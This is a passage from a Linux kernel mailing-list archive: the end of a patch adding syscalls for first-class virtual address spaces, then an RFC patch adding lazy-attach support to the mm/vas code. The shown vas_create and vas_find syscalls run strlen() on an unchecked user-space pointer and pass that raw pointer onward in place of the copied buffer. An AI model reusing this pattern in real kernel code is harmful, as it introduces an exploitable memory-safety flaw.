+		 * hold the look while doing this since we are the last one
+		 * having a reference to this particular VAS context.
+		 */
+		struct att_vas *avas, *s_avas;
+
+		list_for_each_entry_safe(avas, s_avas, &ctx->vases, tsk_link) {
+			struct vas *vas = avas->vas;
+			int error;
+
+			pr_vas_debug("Detaching VAS - name: %s - from exiting task - pid: %d\n",
+				     vas->name, tsk->pid);
+
+			/*
+			 * Make sure our reference to the VAS is not deleted
+			 * while we are currently working with it.
+			 */
+			__vas_get(vas);
+
+			vas_lock(vas);
+
+			error = __vas_detach(avas, tsk, vas);
+			if (error != 0)
+				pr_alert("Detaching VAS from task failed with %d\n",
+					 error);
+
+			list_del(&avas->tsk_link);
+			list_del(&avas->vas_link);
+			__delete_att_vas(avas);
+
+			vas_unlock(vas);
+			__vas_put(vas);
+		}
+
+		/*
+		 * All the attached VAS are detached. Now it is safe to remove
+		 * this VAS context.
+		 */
+		__delete_vas_context(ctx);
+
+		pr_vas_debug("Deleted VAS context\n");
+	}
+}
+
+/***
+ * System Calls
+ ***/
+
+SYSCALL_DEFINE2(vas_create, const char __user *, name, umode_t, mode)
+{
+	char vas_name[VAS_MAX_NAME_LENGTH];
+	int len;
+
+	if (!name)
+		return -EINVAL;
+
+	len = strlen(name);
+	if (len >= VAS_MAX_NAME_LENGTH)
+		return -EINVAL;
+
+	if (copy_from_user(vas_name, name, len) != 0)
+		return -EFAULT;
+
+	vas_name[len] = '\0';
+
+	return vas_create(name, mode);
+}
+
+SYSCALL_DEFINE1(vas_delete, int, vid)
+{
+	if (vid < 0)
+		return -EINVAL;
+
+	return vas_delete(vid);
+}
+
+SYSCALL_DEFINE1(vas_find, const char __user *, name)
+{
+	char vas_name[VAS_MAX_NAME_LENGTH];
+	int len;
+
+	if (!name)
+		return -EINVAL;
+
+	len = strlen(name);
+	if (len >= VAS_MAX_NAME_LENGTH)
+		return -EINVAL;
+
+	if (copy_from_user(vas_name, name, len) != 0)
+		return -EFAULT;
+
+	vas_name[len] = '\0';
+
+	return vas_find(name);
+}
+
+SYSCALL_DEFINE3(vas_attach, pid_t, pid, int, vid, int, type)
+{
+	struct task_struct *tsk;
+	int vas_acc_type;
+
+	if (pid < 0 || vid < 0)
+		return -EINVAL;
+
+	tsk = pid == 0 ? current : find_task_by_vpid(pid);
+	if (!tsk)
+		return -ESRCH;
+
+	vas_acc_type = __build_vas_access_type(type);
+	if (vas_acc_type == -1)
+		return -EINVAL;
+
+	return vas_attach(tsk, vid, vas_acc_type);
+}
+
+SYSCALL_DEFINE2(vas_detach, pid_t, pid, int, vid)
+{
+	struct task_struct *tsk;
+
+	if (pid < 0 || vid < 0)
+		return -EINVAL;
+
+	tsk = pid == 0 ? current : find_task_by_vpid(pid);
+	if (!tsk)
+		return -ESRCH;
+
+	return vas_detach(tsk, vid);
+}
+
+SYSCALL_DEFINE1(vas_switch, int, vid)
+{
+	struct task_struct *tsk = current;
+
+	if (vid < 0)
+		return -EINVAL;
+
+	return vas_switch(tsk, vid);
+}
+
+SYSCALL_DEFINE0(active_vas)
+{
+	struct task_struct *tsk = current;
+
+	return tsk->active_vas;
+}
+
+SYSCALL_DEFINE2(vas_getattr, int, vid, struct vas_attr __user *, uattr)
+{
+	struct vas_attr attr;
+	int ret;
+
+	if (vid < 0 || !uattr)
+		return -EINVAL;
+
+	ret = vas_getattr(vid, &attr);
+	if (ret != 0)
+		return ret;
+
+	if (copy_to_user(uattr, &attr, sizeof(struct vas_attr)) != 0)
+		return -EFAULT;
+
+	return 0;
+}
+
+SYSCALL_DEFINE2(vas_setattr, int, vid, struct vas_attr __user *, uattr)
+{
+	struct vas_attr attr;
+
+	if (vid < 0 || !uattr)
+		return -EINVAL;
+
+	if (copy_from_user(&attr, uattr, sizeof(struct vas_attr)) != 0)
+		return -EFAULT;
+
+	return vas_setattr(vid, &attr);
+}
-- 
2.12.0

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: [RFC PATCH 12/13] mm/vas: Add lazy-attach support for first class virtual address spaces
Date: Mon, 13 Mar 2017 15:14:14 -0700
Lines: 471
Approved: news@gmane.org
Message-ID: <20170313221415.9375-13-till.smejkal@gmail.com>
References: <20170313221415.9375-1-till.smejkal@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1489443335 8561 195.159.176.226 (13 Mar 2017 22:15:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Mar 2017 22:15:35 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-snps-arc@lists.infradead.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-hexagon@vger.kernel.org,
	linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-media@vger.kernel.org,
	linux-mtd@lists.infradead.org,
	linux-usb@vger.kernel.org,
	linux-fsdevel@vger.kernel.org,
	linux-aio@kvack.org,
	linux-mm@kvack.org,
	linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org,
	alsa-devel@alsa-project.org
To: Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalias@libc.org>,
	"David S. Miller" <davem@dave
Original-X-From: owner-linux-aio@kvack.org Mon Mar 13 23:15:25 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1cnYFO-0001Ni-Dh
	for gla-linux-aio@m.gmane.org; Mon, 13 Mar 2017 23:15:23 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id DB40C6B03AC; Mon, 13 Mar 2017 18:15:12 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id CA4F66B03AB; Mon, 13 Mar 2017 18:15:12 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id B14DB6B03AD; Mon, 13 Mar 2017 18:15:12 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-wr0-f199.google.com (mail-wr0-f199.google.com [209.85.128.199])
	by kanga.kvack.org (Postfix) with ESMTP id 36F2D6B03AB
	for <linux-aio@kvack.org>; Mon, 13 Mar 2017 18:15:12 -0400 (EDT)
Original-Received: by mail-wr0-f199.google.com with SMTP id g10so46747711wrg.5
        for <linux-aio@kvack.org>; Mon, 13 Mar 2017 15:15:12 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=YJtob7/O4eAqB+kG+4RuY4MMIURykaIHhgrfm444HdY=;
        b=pdxSL1S7CB0cf2pGVUmaU02B7NhL5ZPzePbyGJFB6ki6qR9+GeMjEMceH5shNWYtbb
         PltQO1lzffzda02xpERhFz1WzkOQt8f7iFKMF9BHmNv8yvBiAKoMpROXjHKCB3TUaszR
         FaNrzgjo+yM0atK594bGybzv9gej/LN3rf6O9FipNI+s+xvvxQLAIJ523ebsoryWICl2
         tE5lkgrrvzOGIAVHZMVXVEeRaueHuDTk6BBAQaR3fr4/6UcLfleOhqmU+UyQL49oW1XJ
         OoVGLiYuxwcSTl6UzbjMEH82kmJnO1/hHWyVUijtQE4s0ZK94ZDhuFsSCJagVLNL6KrH
         hWCw==
X-Gm-Message-State: AFeK/H0XMswXBDck0W8G1a9H2Sje7tyTOG9pILfvo6woNrAzCwbOt/cgBsMJ1LSZJ7ETmCs1Not1lvmA1U8wtfEFTjiFvZoqr4n7SD6ejxf19xw1aZTRHcFy9rOztJPvYzcoxCbrRUGs0jHOJePrLwg6qKVzGyHXCby/o5Xn6lgOEOlc3yMQVY2BhJdaGqWdpa6U+KicBHVmEQ8DOaKmVPcToLJUVQyOQSLiFU6YPu75GKIrUJ9+1VvJQ4XcYWZmujp267UHUmX5Tqrjw50q0xItVfgpQvOSYZLQxyGW3WB182sE3czzRIc=
X-Received: by 10.28.45.212 with SMTP id t203mr11362471wmt.37.1489443311750;
        Mon, 13 Mar 2017 15:15:11 -0700 (PDT)
X-Received: by 10.28.45.212 with SMTP id t203mr11362431wmt.37.1489443310590;
        Mon, 13 Mar 2017 15:15:10 -0700 (PDT)
Original-Received: from mail-wr0-x241.google.com (mail-wr0-x241.google.com. [2a00:1450:400c:c0c::241])
        by mx.google.com with ESMTPS id r10si12556751wmg.86.2017.03.13.15.15.10
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 15:15:10 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::241 as permitted sender) client-ip=2a00:1450:400c:c0c::241;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::241 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wr0-x241.google.com with SMTP id u48so21834306wrc.1;
        Mon, 13 Mar 2017 15:15:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=YJtob7/O4eAqB+kG+4RuY4MMIURykaIHhgrfm444HdY=;
        b=bKqvJUjcyM9++dc8LKRN0agCWDoJOLocfdBSd3/k7FfvlweVtpGzChO4nM8kMmWeIF
         LFKqWra1sVDJbmi0sHTYpnspFx5hXU0DJE5T+ArA6IZfPKb/+aXpRoN+dz389zB8Cvvo
         unwNBnVji/Fz/z+gYMxLMIC1vt7CkS8YBGvIuN6jlvROwfLpENN7+1TiyCuu8KfSdBHQ
         dI+U47UEbobOelYT4BuvZqpk5MlbgoYYeoetr51C/rf6yM/+8SqAq8yNN509SVzvuiIH
         qjiFf2LeBNqYsV7kXMQ2z+r3XUYjz+cj47MrUQHwtnaWqrc3Rqo1ta/6KIbMje1KQFZd
         0OlA==
X-Received: by 10.223.176.20 with SMTP id f20mr30908502wra.160.1489443309716;
        Mon, 13 Mar 2017 15:15:09 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id s17sm26728619wrc.25.2017.03.13.15.15.07
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 13 Mar 2017 15:15:08 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
X-Mailer: git-send-email 2.12.0
In-Reply-To: <20170313221415.9375-1-till.smejkal@gmail.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4947 gmane.linux.kernel:2431243 gmane.linux.ports.alpha:4133 gmane.linux.kernel.arc:2222 gmane.linux.ports.arm.kernel:564757 gmane.linux.ports.hexagon:1158 gmane.linux.ports.ia64:27697 gmane.linux.kernel.metag:1267 gmane.linux.ports.mips.general:58343 gmane.linux.ports.parisc:27325 gmane.linux.ports.ppc64.devel:139536 gmane.linux.ports.sh.devel:55131 gmane.linux.ports.sparc:24728 gmane.linux.drivers.video-input-infrastructure:114751 gmane.linux.drivers.mtd:72542 gmane.linux.usb.general:156118 gmane.linux.file-systems:119088 gmane.linux.kernel.mm:168270 gmane.linux.kernel.api:22529 gmane.linux.kernel.cross-arch:35537 gmane.linux.alsa.devel:165315
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4947>

Until now, whenever a task attaches a first class virtual address space,
all the memory regions currently present in the task are replicated into
the first class virtual address space so that the task can continue
executing as if nothing has changed. However, this technique causes the
attach and detach operations to be very costly, since the whole memory map
of the task has to be duplicated.

Lazy-attaching on the other side uses a similar technique as it is done to
copy page tables during fork. Instead of completely duplicating the memory
map of the task together with its page tables, only a skeleton memory map
is created and then later filled with content when a page fault is
triggered when the process actually accesses the memory regions. The big
advantage is, that unnecessary memory regions are not duplicated at all,
but just those that the process actually uses while executing inside the
first class virtual address space. The only memory region which is always
duplicated during the attach-operation is the code memory section, because
this memory region is always necessary for execution and saves us one page
fault later during the process execution.

Signed-off-by: Till Smejkal <till.smejkal@gmail.com>
---
 include/linux/mm_types.h |   1 +
 include/linux/vas.h      |  26 ++++++++
 mm/Kconfig               |  18 ++++++
 mm/memory.c              |   5 ++
 mm/vas.c                 | 164 ++++++++++++++++++++++++++++++++++++++++++-----
 5 files changed, 197 insertions(+), 17 deletions(-)

diff --git a/include/linux/mm_types.h b/include/linux/mm_types.h
index 82bf78ea83ee..65e04f14225d 100644
--- a/include/linux/mm_types.h
+++ b/include/linux/mm_types.h
@@ -362,6 +362,7 @@ struct vm_area_struct {
 #ifdef CONFIG_VAS
 	struct mm_struct *vas_reference;
 	ktime_t vas_last_update;
+	bool vas_attached;
 #endif
 };
 
diff --git a/include/linux/vas.h b/include/linux/vas.h
index 376b9fa1ee27..8682bfc86568 100644
--- a/include/linux/vas.h
+++ b/include/linux/vas.h
@@ -2,6 +2,7 @@
 #define _LINUX_VAS_H
 
 
+#include <linux/mm_types.h>
 #include <linux/sched.h>
 #include <linux/vas_types.h>
 
@@ -293,4 +294,29 @@ static inline int vas_exit(struct task_struct *tsk) { return 0; }
 
 #endif /* CONFIG_VAS */
 
+
+/***
+ * Management of the VAS lazy attaching
+ ***/
+
+#ifdef CONFIG_VAS_LAZY_ATTACH
+
+/**
+ * Lazily update the page tables of a vm_area which was not completely setup
+ * during the VAS attaching.
+ *
+ * @param[in] vma:		The vm_area for which the page tables should be
+ *				setup before continuing the page fault handling.
+ *
+ * @returns:			0 of the lazy-attach was successful or not
+ *				necessary, or 1 if something went wrong.
+ */
+extern int vas_lazy_attach_vma(struct vm_area_struct *vma);
+
+#else /* CONFIG_VAS_LAZY_ATTACH */
+
+static inline int vas_lazy_attach_vma(struct vm_area_struct *vma) { return 0; }
+
+#endif /* CONFIG_VAS_LAZY_ATTACH */
+
 #endif
diff --git a/mm/Kconfig b/mm/Kconfig
index 9a80877f3536..934c56bcdbf4 100644
--- a/mm/Kconfig
+++ b/mm/Kconfig
@@ -720,6 +720,24 @@ config VAS
 
 	  If not sure, then say N.
 
+config VAS_LAZY_ATTACH
+	bool "Use lazy-attach for First Class Virtual Address Spaces"
+	depends on VAS
+	default y
+	help
+	  When this option is enabled, memory regions of First Class Virtual 
+	  Address Spaces will be mapped in the task's address space lazily after
+	  the switch happened. That means, the actual mapping will happen when a
+	  page fault occurs for the particular memory region. While this
+	  technique is less costly during the switching operation, it can become
+	  very costly during the page fault handling.
+
+	  Hence if the program uses a lot of different memory regions, this
+	  lazy-attaching technique can be more costly than doing the mapping
+	  eagerly during the switch.
+
+	  If not sure, then say Y.
+
 config VAS_DEBUG
 	bool "Debugging output for First Class Virtual Address Spaces"
 	depends on VAS
diff --git a/mm/memory.c b/mm/memory.c
index e4747b3fd5b9..cdefc99a50ac 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -64,6 +64,7 @@
 #include <linux/debugfs.h>
 #include <linux/userfaultfd_k.h>
 #include <linux/dax.h>
+#include <linux/vas.h>
 
 #include <asm/io.h>
 #include <asm/mmu_context.h>
@@ -4000,6 +4001,10 @@ int handle_mm_fault(struct vm_area_struct *vma, unsigned long address,
 	/* do counter updates before entering really critical section. */
 	check_sync_rss_stat(current);
 
+	/* Check if this VMA belongs to a VAS and needs to be lazy attached. */
+	if (unlikely(vas_lazy_attach_vma(vma)))
+		return VM_FAULT_SIGSEGV;
+
 	/*
 	 * Enable the memcg OOM handling for faults triggered in user
 	 * space.  Kernel faults are handled more gracefully.
diff --git a/mm/vas.c b/mm/vas.c
index 345b023c21aa..953ba8d6e603 100644
--- a/mm/vas.c
+++ b/mm/vas.c
@@ -138,12 +138,13 @@ static void __dump_memory_map(const char *title, struct mm_struct *mm)
 		else
 			pr_cont(" OTHER ");
 
-		pr_cont("%c%c%c%c [%c]",
+		pr_cont("%c%c%c%c [%c:%c]",
 			vma->vm_flags & VM_READ ? 'r' : '-',
 			vma->vm_flags & VM_WRITE ? 'w' : '-',
 			vma->vm_flags & VM_EXEC ? 'x' : '-',
 			vma->vm_flags & VM_MAYSHARE ? 's' : 'p',
-			vma->vas_reference ? 'v' : '-');
+			vma->vas_reference ? 'v' : '-',
+			vma->vas_attached ? 'a' : '-');
 
 		if (vma->vm_file) {
 			struct file *f = vma->vm_file;
@@ -883,6 +884,43 @@ static inline void vas_seg_put_share(int type, struct vas_seg *seg)
 }
 
 /**
+ * Identifying special regions of a memory map.
+ **/
+static inline unsigned long round_up_to_page(unsigned long addr)
+{
+	return PAGE_ALIGNED(addr) ? addr : ((addr & PAGE_MASK) + PAGE_SIZE);
+}
+
+static inline unsigned long round_down_to_page(unsigned long addr)
+{
+	return (addr & PAGE_MASK);
+}
+
+static inline bool is_code_region(struct vm_area_struct *vma)
+{
+	struct mm_struct *mm = vma->vm_mm;
+
+	return ((vma->vm_start >= round_down_to_page(mm->start_code)) &&
+		(vma->vm_end <= round_up_to_page(mm->end_code)));
+}
+
+static inline bool is_data_region(struct vm_area_struct *vma)
+{
+	struct mm_struct *mm = vma->vm_mm;
+
+	return ((vma->vm_start >= round_down_to_page(mm->start_data)) &&
+		(vma->vm_end <= round_up_to_page(mm->end_data)));
+}
+
+static inline bool is_heap_region(struct vm_area_struct *vma)
+{
+	struct mm_struct *mm = vma->vm_mm;
+
+	return ((vma->vm_start >= round_down_to_page(mm->start_brk)) &&
+		(vma->vm_end <= round_up_to_page(mm->brk)));
+}
+
+/**
  * Management of the memory maps.
  **/
 static int init_vas_mm(struct vas *vas)
@@ -1070,7 +1108,8 @@ static inline
 struct vm_area_struct *__copy_vm_area(struct mm_struct *src_mm,
 				      struct vm_area_struct *src_vma,
 				      struct mm_struct *dst_mm,
-				      unsigned long vm_flags)
+				      unsigned long vm_flags,
+				      bool dup_pages)
 {
 	struct vm_area_struct *vma, *prev;
 	struct rb_node **rb_link, *rb_parent;
@@ -1105,11 +1144,13 @@ struct vm_area_struct *__copy_vm_area(struct mm_struct *src_mm,
 	if (vma->vm_ops && vma->vm_ops->open)
 		vma->vm_ops->open(vma);
 	vma->vas_last_update = src_vma->vas_last_update;
+	vma->vas_attached = dup_pages;
 
 	vma_link(dst_mm, vma, prev, rb_link, rb_parent);
 
 	vm_stat_account(dst_mm, vma->vm_flags, vma_pages(vma));
-	if (unlikely(dup_page_range(dst_mm, vma, src_mm, src_vma)))
+	if (dup_pages &&
+	    unlikely(dup_page_range(dst_mm, vma, src_mm, src_vma)))
 		pr_vas_debug("Failed to copy page table for VMA %p from %p\n",
 			     vma, src_vma);
 
@@ -1199,7 +1240,7 @@ struct vm_area_struct *__update_vm_area(struct mm_struct *src_mm,
 		}
 
 		dst_vma = __copy_vm_area(src_mm, src_vma, dst_mm,
-					 orig_vm_flags);
+					 orig_vm_flags, true);
 		if (!dst_vma)
 			goto out;
 
@@ -1264,7 +1305,7 @@ static int vas_merge(struct att_vas *avas, struct vas *vas, int type)
 			merged_vm_flags &= ~(VM_WRITE | VM_MAYWRITE);
 
 		new_vma = __copy_vm_area(vas_mm, vma, avas_mm,
-					 merged_vm_flags);
+					 merged_vm_flags, true);
 		if (!new_vma) {
 			pr_vas_debug("Failed to merge a VAS memory region (%#lx - %#lx)\n",
 				     vma->vm_start, vma->vm_end);
@@ -1337,7 +1378,7 @@ static int vas_unmerge(struct att_vas *avas, struct vas *vas)
 				     vma->vm_start, vma->vm_end);
 
 			new_vma = __copy_vm_area(avas_mm, vma, vas_mm,
-						 vma->vm_flags);
+						 vma->vm_flags, true);
 			if (!new_vma) {
 				pr_vas_debug("Failed to unmerge a new VAS memory region (%#lx - %#lx)\n",
 					     vma->vm_start, vma->vm_end);
@@ -1346,7 +1387,8 @@ static int vas_unmerge(struct att_vas *avas, struct vas *vas)
 			}
 
 			new_vma->vas_reference = NULL;
-		} else {
+			new_vma->vas_attached = false;
+		} else if (vma->vas_attached) {
 			struct vm_area_struct *upd_vma;
 
 			/*
@@ -1365,6 +1407,9 @@ static int vas_unmerge(struct att_vas *avas, struct vas *vas)
 				ret = -EFAULT;
 				goto out_unlock;
 			}
+		} else {
+			pr_vas_debug("Skip not-attached memory region (%#lx - %#lx) during VAS unmerging\n",
+				     vma->vm_start, vma->vm_end);
 		}
 
 		/* Remove the current VMA from the attached-VAS memory map. */
@@ -1389,10 +1434,16 @@ static int vas_unmerge(struct att_vas *avas, struct vas *vas)
  *			contains all the information for this attachment.
  * @param[in] tsk:	The pointer to the task of which the memory map
  *			should be merged.
+ * @param[in] default_copy_eagerly:
+ *			How should all the memory regions except the code region
+ *			be handled. If true, their page tables will be
+ *			duplicated as well, if false they will not be
+ *			duplicated.
  *
  * @returns:		0 on success, -ERRNO otherwise.
  **/
-static int task_merge(struct att_vas *avas, struct task_struct *tsk)
+static int _task_merge(struct att_vas *avas, struct task_struct *tsk,
+		       bool default_copy_eagerly)
 {
 	struct vm_area_struct *vma, *new_vma;
 	struct mm_struct *avas_mm, *tsk_mm;
@@ -1413,10 +1464,23 @@ static int task_merge(struct att_vas *avas, struct task_struct *tsk)
 	 * map to the attached-VAS memory map.
 	 */
 	for (vma = tsk_mm->mmap; vma; vma = vma->vm_next) {
-		pr_vas_debug("Merging a task memory region (%#lx - %#lx)\n",
-			     vma->vm_start, vma->vm_end);
+		bool copy_eagerly = default_copy_eagerly;
+
+		/*
+		 * The code region of the task will *always* be copied eagerly.
+		 * We need this region in any case to continue execution. All
+		 * the other memory regions are copied according to the
+		 * 'default_copy_eagerly' variable.
+		 */
+		if (is_code_region(vma))
+			copy_eagerly = true;
 
-		new_vma = __copy_vm_area(tsk_mm, vma, avas_mm, vma->vm_flags);
+		pr_vas_debug("Merging a task memory region (%#lx - %#lx) %s\n",
+			     vma->vm_start, vma->vm_end,
+			     copy_eagerly ? "eagerly" : "lazily");
+
+		new_vma = __copy_vm_area(tsk_mm, vma, avas_mm, vma->vm_flags,
+					 copy_eagerly);
 		if (!new_vma) {
 			pr_vas_debug("Failed to merge a task memory region (%#lx - %#lx)\n",
 				     vma->vm_start, vma->vm_end);
@@ -1443,6 +1507,16 @@ static int task_merge(struct att_vas *avas, struct task_struct *tsk)
 	return ret;
 }
 
+/*
+ * Decide based on the kernel configuration setting if we copy task memory
+ * regions eagerly or lazily.
+ */
+#ifdef CONFIG_VAS_LAZY_ATTACH
+#define task_merge(avas, tsk) _task_merge(avas, tsk, false)
+#else
+#define task_merge(avas, tsk) _task_merge(avas, tsk, true)
+#endif
+
 /**
  * Unmerge task-related parts of an attached-VAS memory map back into the
  * task's memory map.
@@ -1541,7 +1615,8 @@ static int vas_seg_merge(struct vas *vas, struct vas_seg *seg, int type)
 		if (!(type & MAY_WRITE))
 			merged_vm_flags &= ~(VM_WRITE | VM_MAYWRITE);
 
-		new_vma = __copy_vm_area(seg_mm, vma, vas_mm, merged_vm_flags);
+		new_vma = __copy_vm_area(seg_mm, vma, vas_mm, merged_vm_flags,
+					 true);
 		if (!new_vma) {
 			pr_vas_debug("Failed to merge a VAS segment memory region (%#lx - %#lx)\n",
 				     vma->vm_start, vma->vm_end);
@@ -1606,7 +1681,7 @@ static int vas_seg_unmerge(struct vas *vas, struct vas_seg *seg)
 			pr_vas_debug("Skipping memory region (%#lx - %#lx) during VAS segment unmerging\n",
 				     vma->vm_start, vma->vm_end);
 			continue;
-		} else {
+		} else if (vma->vas_attached) {
 			struct vm_area_struct *upd_vma;
 
 			pr_vas_debug("Unmerging a VAS segment memory region (%#lx - %#lx)\n",
@@ -1619,6 +1694,9 @@ static int vas_seg_unmerge(struct vas *vas, struct vas_seg *seg)
 				ret = -EFAULT;
 				goto out_unlock;
 			}
+		} else {
+			pr_vas_debug("Skip not-attached memory region (%#lx - %#lx) during segment unmerging\n",
+				     vma->vm_start, vma->vm_end);
 		}
 
 		/* Remove the current VMA from the VAS memory map. */
@@ -1809,8 +1887,13 @@ static int __sync_from_task(struct mm_struct *avas_mm, struct mm_struct *tsk_mm)
 
 		ref = vas_find_reference(avas_mm, vma);
 		if (!ref) {
+#ifdef CONFIG_VAS_LAZY_ATTACH
 			ref = __copy_vm_area(tsk_mm, vma, avas_mm,
-					     vma->vm_flags);
+					     vma->vm_flags, false);
+#else
+			ref = __copy_vm_area(tsk_mm, vma, avas_mm,
+					     vma->vm_flags, true);
+#endif
 
 			if (!ref) {
 				pr_vas_debug("Failed to copy memory region (%#lx - %#lx) during task sync\n",
@@ -1824,7 +1907,7 @@ static int __sync_from_task(struct mm_struct *avas_mm, struct mm_struct *tsk_mm)
 			 * copied it from.
 			 */
 			ref->vas_reference = tsk_mm;
-		} else {
+		} else if (ref->vas_attached) {
 			ref = __update_vm_area(tsk_mm, vma, avas_mm, ref);
 			if (!ref) {
 				pr_vas_debug("Failed to update memory region (%#lx - %#lx) during task sync\n",
@@ -1832,6 +1915,9 @@ static int __sync_from_task(struct mm_struct *avas_mm, struct mm_struct *tsk_mm)
 				ret = -EFAULT;
 				break;
 			}
+		} else {
+			pr_vas_debug("Skip not-attached memory region (%#lx - %#lx) during task sync\n",
+				     vma->vm_start, vma->vm_end);
 		}
 	}
 
@@ -1848,7 +1934,7 @@ static int __sync_to_task(struct mm_struct *avas_mm, struct mm_struct *tsk_mm)
 		if (vma->vas_reference != tsk_mm) {
 			pr_vas_debug("Skip unrelated memory region (%#lx - %#lx) during task resync\n",
 				     vma->vm_start, vma->vm_end);
-		} else {
+		} else if (vma->vas_attached) {
 			struct vm_area_struct *ref;
 
 			ref = __update_vm_area(avas_mm, vma, tsk_mm, NULL);
@@ -1858,6 +1944,9 @@ static int __sync_to_task(struct mm_struct *avas_mm, struct mm_struct *tsk_mm)
 				ret = -EFAULT;
 				break;
 			}
+		} else {
+			pr_vas_debug("Skip not-attached memory region (%#lx - %#lx) during task resync\n",
+				     vma->vm_start, vma->vm_end);
 		}
 	}
 
@@ -3100,6 +3189,47 @@ void vas_exit(struct task_struct *tsk)
 	}
 }
 
+#ifdef CONFIG_VAS_LAZY_ATTACH
+
+int vas_lazy_attach_vma(struct vm_area_struct *vma)
+{
+	struct mm_struct *ref_mm, *mm;
+	struct vm_area_struct *ref_vma;
+
+	if (likely(!vma->vas_reference))
+		return 0;
+	if (vma->vas_attached)
+		return 0;
+
+	ref_mm = vma->vas_reference;
+	mm = vma->vm_mm;
+
+	down_read_nested(&ref_mm->mmap_sem, SINGLE_DEPTH_NESTING);
+	ref_vma = vas_find_reference(ref_mm, vma);
+	up_read(&ref_mm->mmap_sem);
+	if (!ref_vma) {
+		pr_vas_debug("Couldn't find VAS reference\n");
+		return 1;
+	}
+
+	pr_vas_debug("Lazy-attach memory region (%#lx - %#lx)\n",
+		     ref_vma->vm_start, ref_vma->vm_end);
+
+	if (unlikely(dup_page_range(mm, vma, ref_mm, ref_vma))) {
